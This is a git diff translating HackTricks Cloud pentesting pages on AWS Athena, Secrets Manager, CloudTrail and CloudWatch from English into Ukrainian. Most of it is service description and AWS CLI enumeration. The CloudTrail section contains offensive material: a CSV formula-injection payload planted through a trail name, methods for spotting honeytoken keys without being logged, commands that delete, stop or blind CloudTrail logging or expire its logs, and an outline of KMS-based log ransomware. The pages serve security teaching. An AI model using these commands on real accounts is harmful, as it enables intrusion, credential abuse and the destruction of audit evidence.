**аналіз даних** безпосередньо в Amazon Simple Storage Service (Amazon **S3**) **використовуючи** стандартний **SQL**. -You need to **prepare a relational DB table** with the format of the content that is going to appear in the monitored S3 buckets. And then, Amazon Athena will be able to populate the DB from the logs, so you can query it. +Вам потрібно **підготувати реляційну таблицю БД** з форматом вмісту, який з'явиться в моніторингових S3 бакетах. А потім Amazon Athena зможе заповнити БД з журналів, щоб ви могли запитувати її. -Amazon Athena supports the **ability to query S3 data that is already encrypted** and if configured to do so, **Athena can also encrypt the results of the query which can then be stored in S3**. +Amazon Athena підтримує **можливість запитувати дані S3, які вже зашифровані**, і якщо це налаштовано, **Athena також може зашифровувати результати запиту, які потім можуть бути збережені в S3**. -**This encryption of results is independent of the underlying queried S3 data**, meaning that even if the S3 data is not encrypted, the queried results can be encrypted. A couple of points to be aware of is that Amazon Athena only supports data that has been **encrypted** with the **following S3 encryption methods**, **SSE-S3, SSE-KMS, and CSE-KMS**. +**Ця шифрація результатів незалежна від основних запитуваних даних S3**, що означає, що навіть якщо дані S3 не зашифровані, запитувані результати можуть бути зашифровані. Кілька моментів, про які слід пам'ятати, це те, що Amazon Athena підтримує лише дані, які були **зашифровані** за допомогою **наступних методів шифрування S3**, **SSE-S3, SSE-KMS та CSE-KMS**. -SSE-C and CSE-E are not supported. In addition to this, it's important to understand that Amazon Athena will only run queries against **encrypted objects that are in the same region as the query itself**. If you need to query S3 data that's been encrypted using KMS, then specific permissions are required by the Athena user to enable them to perform the query. +SSE-C та CSE-E не підтримуються. Крім того, важливо розуміти, що Amazon Athena буде виконувати запити лише проти **зашифрованих об'єктів, які знаходяться в тому ж регіоні, що й сам запит**. Якщо вам потрібно запитати дані S3, які були зашифровані за допомогою KMS, тоді користувачу Athena потрібні специфічні дозволи, щоб дозволити їм виконати запит. ### Enumeration - ```bash # Get catalogs aws athena list-data-catalogs @@ -311,14 +302,9 @@ aws athena get-prepared-statement --statement-name --work-group # Run query aws athena start-query-execution --query-string ``` - -## References +## Посилання - [https://cloudsecdocs.com/aws/defensive/tooling/cli/#s3](https://cloudsecdocs.com/aws/defensive/tooling/cli/#s3) - [https://docs.aws.amazon.com/AmazonS3/latest/userguide/dual-stack-endpoints.html](https://docs.aws.amazon.com/AmazonS3/latest/userguide/dual-stack-endpoints.html) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-secrets-manager-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-secrets-manager-enum.md index a50eaa24f..b67cf1479 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-secrets-manager-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-secrets-manager-enum.md @@ -4,22 +4,21 @@ ## AWS Secrets Manager -AWS Secrets Manager is designed to **eliminate the use of hard-coded secrets in applications by replacing them with an API call**. This service serves as a **centralized repository for all your secrets**, ensuring they are managed uniformly across all applications. +AWS Secrets Manager призначений для **усунення використання жорстко закодованих секретів у додатках, замінюючи їх викликом API**. Ця служба слугує **централізованим репозиторієм для всіх ваших секретів**, забезпечуючи їх єдине управління в усіх додатках. -The manager simplifies the **process of rotating secrets**, significantly improving the security posture of sensitive data like database credentials. Additionally, secrets like API keys can be automatically rotated with the integration of lambda functions. +Менеджер спрощує **процес ротації секретів**, значно покращуючи безпеку чутливих даних, таких як облікові дані бази даних. Крім того, такі секрети, як API ключі, можуть автоматично ротуватися з інтеграцією функцій lambda. -The access to secrets is tightly controlled through detailed IAM identity-based policies and resource-based policies. +Доступ до секретів суворо контролюється через детальні політики на основі ідентичності IAM та політики на основі ресурсів. -For granting access to secrets to a user from a different AWS account, it's necessary to: +Для надання доступу до секретів користувачу з іншого облікового запису AWS необхідно: -1. Authorize the user to access the secret. -2. Grant permission to the user to decrypt the secret using KMS. -3. Modify the Key policy to allow the external user to utilize it. +1. Авторизувати користувача для доступу до секрету. +2. Надати дозвіл користувачу на розшифровку секрету за допомогою KMS. +3. Змінити політику ключа, щоб дозволити зовнішньому користувачу його використовувати. -**AWS Secrets Manager integrates with AWS KMS to encrypt your secrets within AWS Secrets Manager.** +**AWS Secrets Manager інтегрується з AWS KMS для шифрування ваших секретів у AWS Secrets Manager.** ### **Enumeration** - ```bash aws secretsmanager list-secrets #Get metadata of all secrets aws secretsmanager list-secret-version-ids --secret-id # Get versions @@ -28,27 +27,22 @@ aws secretsmanager get-secret-value --secret-id # Get value aws secretsmanager get-secret-value --secret-id --version-id # Get value of a different version aws secretsmanager get-resource-policy --secret-id --secret-id ``` - ### Privesc {{#ref}} ../aws-privilege-escalation/aws-secrets-manager-privesc.md {{#endref}} -### Post Exploitation +### Постексплуатація {{#ref}} ../aws-post-exploitation/aws-secrets-manager-post-exploitation.md {{#endref}} -### Persistence +### Постійність {{#ref}} ../aws-persistence/aws-secrets-manager-persistence.md {{#endref}} {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/README.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/README.md index 8348ff098..a6e166d87 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/README.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/README.md @@ -1,6 +1 @@ -# AWS - Security & Detection Services - - - - - +# AWS - Служби безпеки та виявлення diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md index 780f52f6e..44df6ab3b 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md @@ -4,111 +4,108 @@ ## **CloudTrail** -AWS CloudTrail **records and monitors activity within your AWS environment**. It captures detailed **event logs**, including who did what, when, and from where, for all interactions with AWS resources. This provides an audit trail of changes and actions, aiding in security analysis, compliance auditing, and resource change tracking. CloudTrail is essential for understanding user and resource behavior, enhancing security postures, and ensuring regulatory compliance. +AWS CloudTrail **реєструє та моніторить активність у вашому середовищі AWS**. Він захоплює детальні **журнали подій**, включаючи, хто що зробив, коли і звідки, для всіх взаємодій з ресурсами AWS. Це забезпечує слід змін і дій, допомагаючи в аналізі безпеки, аудиті відповідності та відстеженні змін ресурсів. CloudTrail є важливим для розуміння поведінки користувачів і ресурсів, покращення безпекових позицій і забезпечення відповідності регуляторним вимогам. -Each logged event contains: +Кожна зафіксована подія містить: -- The name of the called API: `eventName` -- The called service: `eventSource` -- The time: `eventTime` -- The IP address: `SourceIPAddress` -- The agent method: `userAgent`. Examples: - - Signing.amazonaws.com - From AWS Management Console - - console.amazonaws.com - Root user of the account - - lambda.amazonaws.com - AWS Lambda -- The request parameters: `requestParameters` -- The response elements: `responseElements` +- Назву викликаного API: `eventName` +- Викликану службу: `eventSource` +- Час: `eventTime` +- IP-адресу: `SourceIPAddress` +- Метод агента: `userAgent`. Приклади: +- Signing.amazonaws.com - З AWS Management Console +- console.amazonaws.com - Кореневий користувач облікового запису +- lambda.amazonaws.com - AWS Lambda +- Параметри запиту: `requestParameters` +- Елементи відповіді: `responseElements` -Event's are written to a new log file **approximately each 5 minutes in a JSON file**, they are held by CloudTrail and finally, log files are **delivered to S3 approximately 15mins after**.\ -CloudTrails logs can be **aggregated across accounts and across regions.**\ -CloudTrail allows to use **log file integrity in order to be able to verify that your log files have remained unchanged** since CloudTrail delivered them to you. It creates a SHA-256 hash of the logs inside a digest file. A sha-256 hash of the new logs is created every hour.\ -When creating a Trail the event selectors will allow you to indicate the trail to log: Management, data or insights events. +Події записуються в новий файл журналу **приблизно кожні 5 хвилин у JSON-файлі**, вони зберігаються CloudTrail, а в кінцевому підсумку файли журналів **доставляються в S3 приблизно через 15 хвилин**.\ +Журнали CloudTrail можуть бути **агреговані між обліковими записами та регіонами.**\ +CloudTrail дозволяє використовувати **цілісність файлів журналів, щоб мати можливість перевірити, що ваші файли журналів залишилися незмінними** з моменту їх доставки вам. Він створює SHA-256 хеш журналів у файлі дайджесту. SHA-256 хеш нових журналів створюється щогодини.\ +При створенні Trail селектори подій дозволять вам вказати, які події слід реєструвати: управлінські, дані або події аналітики. -Logs are saved in an S3 bucket. By default Server Side Encryption is used (SSE-S3) so AWS will decrypt the content for the people that has access to it, but for additional security you can use SSE with KMS and your own keys. +Журнали зберігаються в кошику S3. За замовчуванням використовується шифрування на стороні сервера (SSE-S3), тому AWS розшифрує вміст для людей, які мають до нього доступ, але для додаткової безпеки ви можете використовувати SSE з KMS та вашими власними ключами. -The logs are stored in a **S3 bucket with this name format**: +Журнали зберігаються в **кошику S3 з таким форматом імені**: - **`BucketName/AWSLogs/AccountID/CloudTrail/RegionName/YYY/MM/DD`** -- Being the BucketName: **`aws-cloudtrail-logs--`** -- Example: **`aws-cloudtrail-logs-947247140022-ffb95fe7/AWSLogs/947247140022/CloudTrail/ap-south-1/2023/02/22/`** +- Де BucketName: **`aws-cloudtrail-logs--`** +- Приклад: **`aws-cloudtrail-logs-947247140022-ffb95fe7/AWSLogs/947247140022/CloudTrail/ap-south-1/2023/02/22/`** -Inside each folder each log will have a **name following this format**: **`AccountID_CloudTrail_RegionName_YYYYMMDDTHHMMZ_Random.json.gz`** +У кожній папці кожен журнал матиме **ім'я, що відповідає цьому формату**: **`AccountID_CloudTrail_RegionName_YYYYMMDDTHHMMZ_Random.json.gz`** -Log File Naming Convention +Конвенція іменування файлів журналів ![](<../../../../images/image (122).png>) -Moreover, **digest files (to check file integrity)** will be inside the **same bucket** in: +Більше того, **файли дайджесту (для перевірки цілісності файлів)** будуть у **тому ж кошику** в: ![](<../../../../images/image (195).png>) -### Aggregate Logs from Multiple Accounts +### Агрегація журналів з кількох облікових записів -- Create a Trial in the AWS account where you want the log files to be delivered to -- Apply permissions to the destination S3 bucket allowing cross-account access for CloudTrail and allow each AWS account that needs access -- Create a new Trail in the other AWS accounts and select to use the created bucket in step 1 +- Створіть Trail в обліковому записі AWS, куди ви хочете, щоб файли журналів доставлялися +- Застосуйте дозволи до цільового кошика S3, дозволяючи доступ між обліковими записами для CloudTrail і дозволяючи кожному обліковому запису AWS, який потребує доступу +- Створіть новий Trail в інших облікових записах AWS і виберіть використання створеного кошика на етапі 1 -However, even if you can save al the logs in the same S3 bucket, you cannot aggregate CloudTrail logs from multiple accounts into a CloudWatch Logs belonging to a single AWS account. +Однак, навіть якщо ви можете зберігати всі журнали в одному кошику S3, ви не можете агрегувати журнали CloudTrail з кількох облікових записів у журнали CloudWatch, що належать одному обліковому запису AWS. > [!CAUTION] -> Remember that an account can have **different Trails** from CloudTrail **enabled** storing the same (or different) logs in different buckets. +> Пам'ятайте, що обліковий запис може мати **різні Trails** з CloudTrail **увімкненими**, зберігаючи однакові (або різні) журнали в різних кошиках. -### Cloudtrail from all org accounts into 1 +### Cloudtrail з усіх облікових записів організації в 1 -When creating a CloudTrail, it's possible to indicate to get activate cloudtrail for all the accounts in the org and get the logs into just 1 bucket: +При створенні CloudTrail можливо вказати активувати cloudtrail для всіх облікових записів в організації та отримати журнали в лише 1 кошик:
-This way you can easily configure CloudTrail in all the regions of all the accounts and centralize the logs in 1 account (that you should protect). +Таким чином, ви можете легко налаштувати CloudTrail у всіх регіонах усіх облікових записів і централізувати журнали в 1 обліковому записі (який ви повинні захистити). -### Log Files Checking - -You can check that the logs haven't been altered by running +### Перевірка файлів журналів +Ви можете перевірити, що журнали не були змінені, запустивши ```javascript aws cloudtrail validate-logs --trail-arn --start-time [--end-time ] [--s3-bucket ] [--s3-prefix ] [--verbose] ``` - ### Logs to CloudWatch -**CloudTrail can automatically send logs to CloudWatch so you can set alerts that warns you when suspicious activities are performed.**\ -Note that in order to allow CloudTrail to send the logs to CloudWatch a **role** needs to be created that allows that action. If possible, it's recommended to use AWS default role to perform these actions. This role will allow CloudTrail to: +**CloudTrail може автоматично надсилати журнали до CloudWatch, щоб ви могли налаштувати сповіщення, які попереджають вас про підозрілі дії.**\ +Зверніть увагу, що для того, щоб CloudTrail міг надсилати журнали до CloudWatch, потрібно створити **роль**, яка дозволяє цю дію. Якщо можливо, рекомендується використовувати стандартну роль AWS для виконання цих дій. Ця роль дозволить CloudTrail: -- CreateLogStream: This allows to create a CloudWatch Logs log streams -- PutLogEvents: Deliver CloudTrail logs to CloudWatch Logs log stream +- CreateLogStream: Це дозволяє створювати потоки журналів CloudWatch Logs +- PutLogEvents: Доставляти журнали CloudTrail до потоку журналів CloudWatch Logs ### Event History -CloudTrail Event History allows you to inspect in a table the logs that have been recorded: +Історія подій CloudTrail дозволяє вам переглядати в таблиці журнали, які були зафіксовані: ![](<../../../../images/image (89).png>) ### Insights -**CloudTrail Insights** automatically **analyzes** write management events from CloudTrail trails and **alerts** you to **unusual activity**. For example, if there is an increase in `TerminateInstance` events that differs from established baselines, you’ll see it as an Insight event. These events make **finding and responding to unusual API activity easier** than ever. +**CloudTrail Insights** автоматично **аналізує** події управління записами з трас CloudTrail і **сповіщає** вас про **незвичайну активність**. Наприклад, якщо є збільшення подій `TerminateInstance`, яке відрізняється від встановлених базових значень, ви побачите це як подію Insights. Ці події роблять **знаходження та реагування на незвичайну активність API легшими** ніж будь-коли. -The insights are stored in the same bucket as the CloudTrail logs in: `BucketName/AWSLogs/AccountID/CloudTrail-Insight` +Інсайти зберігаються в тому ж бакеті, що й журнали CloudTrail: `BucketName/AWSLogs/AccountID/CloudTrail-Insight` ### Security -| CloudTrail Log File Integrity |
  • Validate if logs have been tampered with (modified or deleted)
  • Uses digest files (create hash for each file)

    • SHA-256 hashing
    • SHA-256 with RSA for digital signing
    • private key owned by Amazon
  • Takes 1 hour to create a digest file (done on the hour every hour)
| -| ------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | -| Stop unauthorized access |
  • Use IAM policies and S3 bucket policies

    • security team —> admin access
    • auditors —> read only access
  • Use SSE-S3/SSE-KMS to encrypt the logs
| -| Prevent log files from being deleted |
  • Restrict delete access with IAM and bucket policies
  • Configure S3 MFA delete
  • Validate with Log File Validation
| +| Цілісність файлів журналів CloudTrail |
  • Перевірити, чи журнали були підроблені (змінені або видалені)
  • Використовує файли дайджесту (створює хеш для кожного файлу)

    • SHA-256 хешування
    • SHA-256 з RSA для цифрового підпису
    • приватний ключ належить Amazon
  • Створення файлу дайджесту займає 1 годину (здійснюється щогодини)
| +| -------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | +| Зупинити несанкціонований доступ |
  • Використовуйте політики IAM та політики бакетів S3

    • команда безпеки —> адміністраторський доступ
    • аудитори —> доступ лише для читання
  • Використовуйте SSE-S3/SSE-KMS для шифрування журналів
| +| Запобігти видаленню файлів журналів |
  • Обмежити доступ до видалення за допомогою IAM та політик бакетів
  • Налаштувати S3 MFA видалення
  • Перевірити за допомогою валідації файлів журналів
| ## Access Advisor -AWS Access Advisor relies on last 400 days AWS **CloudTrail logs to gather its insights**. CloudTrail captures a history of AWS API calls and related events made in an AWS account. Access Advisor utilizes this data to **show when services were last accessed**. By analyzing CloudTrail logs, Access Advisor can determine which AWS services an IAM user or role has accessed and when that access occurred. This helps AWS administrators make informed decisions about **refining permissions**, as they can identify services that haven't been accessed for extended periods and potentially reduce overly broad permissions based on real usage patterns. +AWS Access Advisor спирається на останні 400 днів журналів AWS **CloudTrail для збору своїх інсайтів**. CloudTrail фіксує історію викликів API AWS та пов'язаних подій, що відбулися в обліковому записі AWS. Access Advisor використовує ці дані, щоб **показати, коли сервіси востаннє використовувалися**. Аналізуючи журнали CloudTrail, Access Advisor може визначити, які сервіси AWS використовував користувач або роль IAM і коли цей доступ відбувався. Це допомагає адміністраторам AWS приймати обґрунтовані рішення щодо **удосконалення дозволів**, оскільки вони можуть виявити сервіси, які не використовувалися протягом тривалого часу, і потенційно зменшити надто широкі дозволи на основі реальних патернів використання. > [!TIP] -> Therefore, Access Advisor informs about **the unnecessary permissions being given to users** so the admin could remove them +> Отже, Access Advisor інформує про **необхідні дозволи, які надаються користувачам**, щоб адміністратор міг їх видалити
## Actions ### Enumeration - ```bash # Get trails info aws cloudtrail list-trails @@ -125,125 +122,113 @@ aws cloudtrail list-event-data-stores aws cloudtrail list-queries --event-data-store aws cloudtrail get-query-results --event-data-store --query-id ``` - ### **CSV Injection** -It's possible to perform a CVS injection inside CloudTrail that will execute arbitrary code if the logs are exported in CSV and open with Excel.\ -The following code will generate log entry with a bad Trail name containing the payload: - +Можливо виконати CVS-ін'єкцію в CloudTrail, яка виконає довільний код, якщо журнали експортуються у форматі CSV і відкриваються в Excel.\ +Наступний код згенерує запис журналу з поганою назвою Trail, що містить корисне навантаження: ```python import boto3 payload = "=cmd|'/C calc'|''" client = boto3.client('cloudtrail') response = client.create_trail( - Name=payload, - S3BucketName="random" +Name=payload, +S3BucketName="random" ) print(response) ``` - -For more information about CSV Injections check the page: +Для отримання додаткової інформації про CSV-ін'єкції перегляньте сторінку: {{#ref}} https://book.hacktricks.xyz/pentesting-web/formula-injection {{#endref}} -For more information about this specific technique check [https://rhinosecuritylabs.com/aws/cloud-security-csv-injection-aws-cloudtrail/](https://rhinosecuritylabs.com/aws/cloud-security-csv-injection-aws-cloudtrail/) +Для отримання додаткової інформації про цю конкретну техніку перегляньте [https://rhinosecuritylabs.com/aws/cloud-security-csv-injection-aws-cloudtrail/](https://rhinosecuritylabs.com/aws/cloud-security-csv-injection-aws-cloudtrail/) -## **Bypass Detection** +## **Обхід виявлення** -### HoneyTokens **bypass** +### HoneyTokens **обхід** -Honeyokens are created to **detect exfiltration of sensitive information**. In case of AWS, they are **AWS keys whose use is monitored**, if something triggers an action with that key, then someone must have stolen that key. +Honeytokens створюються для **виявлення ексфільтрації чутливої інформації**. У випадку з AWS, це **ключі AWS, використання яких контролюється**, якщо щось викликає дію з цим ключем, то хтось, напевно, вкрали цей ключ. -However, Honeytokens like the ones created by [**Canarytokens**](https://canarytokens.org/generate)**,** [**SpaceCrab**](https://bitbucket.org/asecurityteam/spacecrab/issues?status=new&status=open)**,** [**SpaceSiren**](https://github.com/spacesiren/spacesiren) are either using recognizable account name or using the same AWS account ID for all their customers. Therefore, if you can get the account name and/or account ID without making Cloudtrail create any log, **you could know if the key is a honeytoken or not**. +Однак Honeytokens, такі як ті, що створені [**Canarytokens**](https://canarytokens.org/generate)**,** [**SpaceCrab**](https://bitbucket.org/asecurityteam/spacecrab/issues?status=new&status=open)**,** [**SpaceSiren**](https://github.com/spacesiren/spacesiren), або використовують впізнаване ім'я облікового запису, або використовують один і той же ідентифікатор облікового запису AWS для всіх своїх клієнтів. Тому, якщо ви зможете отримати ім'я облікового запису та/або ідентифікатор облікового запису без того, щоб Cloudtrail створив будь-який журнал, **ви зможете дізнатися, чи є ключ honeytoken чи ні**. -[**Pacu**](https://github.com/RhinoSecurityLabs/pacu/blob/79cd7d58f7bff5693c6ae73b30a8455df6136cca/pacu/modules/iam__detect_honeytokens/main.py#L57) has some rules to detect if a key belongs to [**Canarytokens**](https://canarytokens.org/generate)**,** [**SpaceCrab**](https://bitbucket.org/asecurityteam/spacecrab/issues?status=new&status=open)**,** [**SpaceSiren**](https://github.com/spacesiren/spacesiren)**:** +[**Pacu**](https://github.com/RhinoSecurityLabs/pacu/blob/79cd7d58f7bff5693c6ae73b30a8455df6136cca/pacu/modules/iam__detect_honeytokens/main.py#L57) має деякі правила для виявлення, чи належить ключ до [**Canarytokens**](https://canarytokens.org/generate)**,** [**SpaceCrab**](https://bitbucket.org/asecurityteam/spacecrab/issues?status=new&status=open)**,** [**SpaceSiren**](https://github.com/spacesiren/spacesiren)**:** -- If **`canarytokens.org`** appears in the role name or the account ID **`534261010715`** appears in the error message. - - Testing them more recently, they are using the account **`717712589309`** and still has the **`canarytokens.com`** string in the name. -- If **`SpaceCrab`** appears in the role name in the error message -- **SpaceSiren** uses **uuids** to generate usernames: `[a-f0-9]{8}-[a-f0-9]{4}-4[a-f0-9]{3}-[89aAbB][a-f0-9]{3}-[a-f0-9]{12}` -- If the **name looks like randomly generated**, there are high probabilities that it's a HoneyToken. +- Якщо **`canarytokens.org`** з'являється в назві ролі або ідентифікатор облікового запису **`534261010715`** з'являється в повідомленні про помилку. +- Тестуючи їх нещодавно, вони використовують обліковий запис **`717712589309`** і все ще мають рядок **`canarytokens.com`** в назві. +- Якщо **`SpaceCrab`** з'являється в назві ролі в повідомленні про помилку +- **SpaceSiren** використовує **uuids** для генерації імен користувачів: `[a-f0-9]{8}-[a-f0-9]{4}-4[a-f0-9]{3}-[89aAbB][a-f0-9]{3}-[a-f0-9]{12}` +- Якщо **ім'я виглядає як випадково згенероване**, є високі ймовірності, що це HoneyToken. -#### Get the account ID from the Key ID - -You can get the **Account ID** from the **encoded** inside the **access key** as [**explained here**](https://medium.com/@TalBeerySec/a-short-note-on-aws-key-id-f88cc4317489) and check the account ID with your list of Honeytokens AWS accounts: +#### Отримати ідентифікатор облікового запису з ідентифікатора ключа +Ви можете отримати **ідентифікатор облікового запису** з **закодованого** всередині **ключа доступу**, як [**пояснено тут**](https://medium.com/@TalBeerySec/a-short-note-on-aws-key-id-f88cc4317489) і перевірити ідентифікатор облікового запису зі своїм списком облікових записів Honeytokens AWS: ```python import base64 import binascii def AWSAccount_from_AWSKeyID(AWSKeyID): - trimmed_AWSKeyID = AWSKeyID[4:] #remove KeyID prefix - x = base64.b32decode(trimmed_AWSKeyID) #base32 decode - y = x[0:6] +trimmed_AWSKeyID = AWSKeyID[4:] #remove KeyID prefix +x = base64.b32decode(trimmed_AWSKeyID) #base32 decode +y = x[0:6] - z = int.from_bytes(y, byteorder='big', signed=False) - mask = int.from_bytes(binascii.unhexlify(b'7fffffffff80'), byteorder='big', signed=False) +z = int.from_bytes(y, byteorder='big', signed=False) +mask = int.from_bytes(binascii.unhexlify(b'7fffffffff80'), byteorder='big', signed=False) - e = (z & mask)>>7 - return (e) +e = (z & mask)>>7 +return (e) print("account id:" + "{:012d}".format(AWSAccount_from_AWSKeyID("ASIAQNZGKIQY56JQ7WML"))) ``` +Check more information in the [**оригінальному дослідженні**](https://medium.com/@TalBeerySec/a-short-note-on-aws-key-id-f88cc4317489). -Check more information in the [**orginal research**](https://medium.com/@TalBeerySec/a-short-note-on-aws-key-id-f88cc4317489). +#### Не генерувати журнал -#### Do not generate a log +Найефективніша техніка для цього насправді проста. Просто використайте ключ, який ви щойно знайшли, щоб отримати доступ до якоїсь служби у вашому власному обліковому записі зловмисника. Це змусить **CloudTrail згенерувати журнал у ВАШОМУ ВЛАСНОМУ AWS обліковому записі, а не у жертви**. -The most effective technique for this is actually a simple one. Just use the key you just found to access some service inside your own attackers account. This will make **CloudTrail generate a log inside YOUR OWN AWS account and not inside the victims**. +Справа в тому, що вивід покаже вам помилку, що вказує на ідентифікатор облікового запису та ім'я облікового запису, тому **ви зможете побачити, чи це Honeytoken**. -The things is that the output will show you an error indicating the account ID and the account name so **you will be able to see if it's a Honeytoken**. +#### AWS служби без журналів -#### AWS services without logs +У минулому існували деякі **AWS служби, які не надсилають журнали до CloudTrail** (знайдіть [список тут](https://docs.aws.amazon.com/awscloudtrail/latest/userguide/cloudtrail-unsupported-aws-services.html)). Деякі з цих служб **відповідають** з **помилкою**, що містить **ARN ключової ролі**, якщо хтось несанкціонований (ключ Honeytoken) намагається отримати до них доступ. -In the past there were some **AWS services that doesn't send logs to CloudTrail** (find a [list here](https://docs.aws.amazon.com/awscloudtrail/latest/userguide/cloudtrail-unsupported-aws-services.html)). Some of those services will **respond** with an **error** containing the **ARN of the key role** if someone unauthorised (the honeytoken key) try to access it. - -This way, an **attacker can obtain the ARN of the key without triggering any log**. In the ARN the attacker can see the **AWS account ID and the name**, it's easy to know the HoneyToken's companies accounts ID and names, so this way an attacker can identify id the token is a HoneyToken. +Таким чином, **зловмисник може отримати ARN ключа, не викликавши жодного журналу**. У ARN зловмисник може побачити **ідентифікатор облікового запису AWS та ім'я**, легко дізнатися ідентифікатор облікових записів компаній HoneyToken та їхні імена, тому таким чином зловмисник може визначити, чи є токен HoneyToken. ![](<../../../../images/image (93).png>) > [!CAUTION] -> Note that all public APIs discovered to not being creating CloudTrail logs are now fixed, so maybe you need to find your own... +> Зверніть увагу, що всі публічні API, виявлені як такі, що не створюють журнали CloudTrail, тепер виправлені, тому, можливо, вам потрібно знайти свої власні... > -> For more information check the [**original research**](https://rhinosecuritylabs.com/aws/aws-iam-enumeration-2-0-bypassing-cloudtrail-logging/). +> Для отримання додаткової інформації перегляньте [**оригінальне дослідження**](https://rhinosecuritylabs.com/aws/aws-iam-enumeration-2-0-bypassing-cloudtrail-logging/). -### Accessing Third Infrastructure +### Доступ до третьої інфраструктури -Certain AWS services will **spawn some infrastructure** such as **Databases** or **Kubernetes** clusters (EKS). A user **talking directly to those services** (like the Kubernetes API) **won’t use the AWS API**, so CloudTrail won’t be able to see this communication. +Деякі служби AWS **створюють певну інфраструктуру**, таку як **Бази даних** або **Kubernetes** кластери (EKS). Користувач, **який безпосередньо спілкується з цими службами** (наприклад, API Kubernetes), **не використовуватиме AWS API**, тому CloudTrail не зможе побачити цю комунікацію. -Therefore, a user with access to EKS that has discovered the URL of the EKS API could generate a token locally and **talk to the API service directly without getting detected by Cloudtrail**. +Отже, користувач з доступом до EKS, який виявив URL API EKS, може згенерувати токен локально і **спілкуватися з API службою без виявлення Cloudtrail**. -More info in: +Більше інформації в: {{#ref}} ../../aws-post-exploitation/aws-eks-post-exploitation.md {{#endref}} -### Modifying CloudTrail Config - -#### Delete trails +### Модифікація конфігурації CloudTrail +#### Видалити сліди ```bash aws cloudtrail delete-trail --name [trail-name] ``` - -#### Stop trails - +#### Зупинити сліди ```bash aws cloudtrail stop-logging --name [trail-name] ``` - -#### Disable multi-region logging - +#### Вимкнути багаторегіональне ведення журналів ```bash aws cloudtrail update-trail --name [trail-name] --no-is-multi-region --no-include-global-services ``` - -#### Disable Logging by Event Selectors - +#### Вимкнення журналювання за вибором подій ```bash # Leave only the ReadOnly selector aws cloudtrail put-event-selectors --trail-name --event-selectors '[{"ReadWriteType": "ReadOnly"}]' --region @@ -251,30 +236,27 @@ aws cloudtrail put-event-selectors --trail-name --event-selectors ' # Remove all selectors (stop Insights) aws cloudtrail put-event-selectors --trail-name --event-selectors '[]' --region ``` +У першому прикладі один селектор подій надається у вигляді масиву JSON з одним об'єктом. `"ReadWriteType": "ReadOnly"` вказує на те, що **селектор подій повинен захоплювати лише події тільки для читання** (тому CloudTrail insights **не буде перевіряти запис** події, наприклад). -In the first example, a single event selector is provided as a JSON array with a single object. The `"ReadWriteType": "ReadOnly"` indicates that the **event selector should only capture read-only events** (so CloudTrail insights **won't be checking write** events for example). - -You can customize the event selector based on your specific requirements. - -#### Logs deletion via S3 lifecycle policy +Ви можете налаштувати селектор подій відповідно до ваших конкретних вимог. +#### Видалення журналів через політику життєвого циклу S3 ```bash aws s3api put-bucket-lifecycle --bucket --lifecycle-configuration '{"Rules": [{"Status": "Enabled", "Prefix": "", "Expiration": {"Days": 7}}]}' --region ``` +### Модифікація конфігурації бакету -### Modifying Bucket Configuration +- Видалити S3 бакет +- Змінити політику бакету, щоб заборонити будь-які записи з сервісу CloudTrail +- Додати політику життєвого циклу до S3 бакету для видалення об'єктів +- Вимкнути ключ kms, що використовується для шифрування журналів CloudTrail -- Delete the S3 bucket -- Change bucket policy to deny any writes from the CloudTrail service -- Add lifecycle policy to S3 bucket to delete objects -- Disable the kms key used to encrypt the CloudTrail logs +### Ransomware Cloudtrail -### Cloudtrail ransomware +#### Ransomware S3 -#### S3 ransomware - -You could **generate an asymmetric key** and make **CloudTrail encrypt the data** with that key and **delete the private key** so the CloudTrail contents cannot be recovered cannot be recovered.\ -This is basically a **S3-KMS ransomware** explained in: +Ви можете **згенерувати асиметричний ключ** і змусити **CloudTrail зашифрувати дані** цим ключем і **видалити приватний ключ**, щоб вміст CloudTrail не можна було відновити.\ +Це в основному **S3-KMS ransomware**, пояснене в: {{#ref}} ../../aws-post-exploitation/aws-s3-post-exploitation.md @@ -282,18 +264,14 @@ This is basically a **S3-KMS ransomware** explained in: **KMS ransomware** -This is an easiest way to perform the previous attack with different permissions requirements: +Це найпростіший спосіб виконати попередню атаку з іншими вимогами до дозволів: {{#ref}} ../../aws-post-exploitation/aws-kms-post-exploitation.md {{#endref}} -## **References** +## **Посилання** - [https://cloudsecdocs.com/aws/services/logging/cloudtrail/#inventory](https://cloudsecdocs.com/aws/services/logging/cloudtrail/#inventory) {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md index 0c790b881..0549a38cb 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md @@ -4,143 +4,142 @@ ## CloudWatch -**CloudWatch** **collects** monitoring and operational **data** in the form of logs/metrics/events providing a **unified view of AWS resources**, applications and services.\ -CloudWatch Log Event have a **size limitation of 256KB on each log line**.\ -It can set **high resolution alarms**, visualize **logs** and **metrics** side by side, take automated actions, troubleshoot issues, and discover insights to optimize applications. +**CloudWatch** **збирає** моніторингові та операційні **дані** у формі журналів/метрик/подій, надаючи **уніфікований огляд ресурсів AWS**, додатків та сервісів.\ +Подія журналу CloudWatch має **обмеження розміру 